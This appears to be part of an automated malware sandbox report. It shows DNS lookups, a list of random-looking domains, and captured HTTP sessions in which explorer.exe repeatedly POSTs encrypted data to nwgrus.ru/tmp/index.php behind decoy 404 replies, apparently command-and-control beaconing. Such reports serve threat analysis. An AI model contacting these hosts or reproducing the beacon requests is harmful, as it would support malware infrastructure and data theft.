Oct 7, 2024 14:59:22.772443056 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	212.112.110.243	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.147.2.86	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	119.204.11.2	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.220.21.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	185.12.79.25	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	148.230.249.9	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	93.118.137.82	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772464991 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	212.112.110.243	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	105.197.97.247	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.147.2.86	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	119.204.11.2	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	190.220.21.28	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	185.12.79.25	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	148.230.249.9	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	93.118.137.82	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:59:22.772475004 CEST	1.1.1.1	192.168.2.5	0x53f4	No error (0)	nwgrus.ru	212.112.110.243	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:13.689789057 CEST	1.1.1.1	192.168.2.5	0xb5b1	No error (0)	calvinandhalls.com	188.40.141.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:13.689802885 CEST	1.1.1.1	192.168.2.5	0xb5b1	No error (0)	calvinandhalls.com	188.40.141.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:00:15.154860020 CEST	1.1.1.1	192.168.2.5	0x7d20	No error (0)	bestworldhools.com	188.40.141.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	189.195.132.134	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	201.229.130.162	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	190.147.128.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	201.212.52.197	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:02:06.879978895 CEST	1.1.1.1	192.168.2.5	0x5189	No error (0)	nwgrus.ru	177.129.90.106	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23.145.40.164

https:

calvinandhalls.com

bestworldhools.com

bmrvdxbbdeon.com

nwgrus.ru

hkxxphsdfyiakovt.org

hgegifhrmen.com

jqmiciumjrg.org

xlakrjktmvagfqhe.org

cvqgcpbdqadirwgw.org

rhtihevserv.org

xvhoixsulem.com

eywbfvbvilup.net

garnufhrqshsv.net

jpqykkhyhkjhpkd.org

ctxuhanhwfs.org

ncglteyuwoqfog.org

uknyifxswcdyll.com

pxdktwwwgewqlyba.org

emasrygonyft.com

pwvfxidmiqrrd.org

gcmljhlsnyknod.org

emsfvchaaieje.net

goboxcgfexx.net

ruprlmkhoul.com

isbmdtufnkfjsgc.net

dkfsbqntnihxbnlu.com

aiwrtqoespykiwu.com

isyxarorgwntyxfd.net

busntnknves.org

ewcutxkdkeyvacp.net

lwocwqbtqohnf.org

tiisncfdrpaiu.org

gieumfrwvwjruuah.com

hkihwrdtvsi.org

bqpiqprsuajpd.net

fsqorqnhaeehy.org

eihhylujhlro.com

qcgaudpuoiuttos.org

mhqikqiwjyotw.com

dymavinnaeuaxxm.org

xuqynkrewbaraj.net

niarphxxbktdxvwh.net

lqpnyjpucaq.com

akokgrlutaukqvq.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49770	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:23.357438087 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bmrvdxbbdeon.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: nwgrus.ru
Oct 7, 2024 14:59:23.357517004 CEST	338	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 56 29 a6 e9 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vuV)D~~cRc)n%m8g83NM4\Yhy&F>MfwT<C-&KPG`ZDWitC5
Oct 7, 2024 14:59:24.450309992 CEST	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 87 ee Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49776	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:24.462007999 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hkxxphsdfyiakovt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 350 Host: nwgrus.ru
Oct 7, 2024 14:59:24.462030888 CEST	350	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 7f 43 f9 e2 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuCHMPWtorGa6^gm\_TPgc6Uxp-4hjLG"[T`lbU;3&wvM4MF4s
Oct 7, 2024 14:59:25.373585939 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49782	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:25.383702993 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hgegifhrmen.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: nwgrus.ru
Oct 7, 2024 14:59:25.383718967 CEST	174	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 27 04 b3 8a Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu'oLUb6JsFEe[s>R~"UO}8Ju?aY0cz
Oct 7, 2024 14:59:26.313987970 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:26 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49788	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:26.323055029 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jqmiciumjrg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: nwgrus.ru
Oct 7, 2024 14:59:26.323072910 CEST	142	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 3b 47 d5 a1 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu;GSF~\Q/8C+r/(@^\|FdWV
Oct 7, 2024 14:59:27.264467001 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:27 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49794	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:27.273969889 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xlakrjktmvagfqhe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 259 Host: nwgrus.ru
Oct 7, 2024 14:59:27.273998022 CEST	259	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 67 39 b7 90 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vug9?xXK}r^bs6CP#a@\|gZ"By BFi?FkAF{,0PqQdCU+YY%_u
Oct 7, 2024 14:59:28.191555023 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49804	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:28.202608109 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cvqgcpbdqadirwgw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: nwgrus.ru
Oct 7, 2024 14:59:28.202627897 CEST	169	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 41 55 e6 94 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuAUVGxtee2e5vkGdHe\OD9(CHx;MN{=P#Ql
Oct 7, 2024 14:59:29.129834890 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:28 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49810	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:29.138952017 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rhtihevserv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 178 Host: nwgrus.ru
Oct 7, 2024 14:59:29.138984919 CEST	178	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 5d 04 b7 a2 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu]jUqiQt/D\|)@xEwIF>}GTHt;R~[UEjQO
Oct 7, 2024 14:59:30.253298998 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:29 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49814	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:30.263648987 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xvhoixsulem.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: nwgrus.ru
Oct 7, 2024 14:59:30.263648987 CEST	149	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 67 43 d1 8c Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vugCe[nriMo({rjXc[CkOTV-I;*.`
Oct 7, 2024 14:59:31.175985098 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49822	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:31.185761929 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eywbfvbvilup.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 196 Host: nwgrus.ru
Oct 7, 2024 14:59:31.185786009 CEST	196	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 64 54 fd aa Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vudTKLNY8o_\|(yRX~`z2C1s33RX0I{r)dy2'<r'Y
Oct 7, 2024 14:59:32.218347073 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:32 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49831	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:32.228586912 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://garnufhrqshsv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: nwgrus.ru
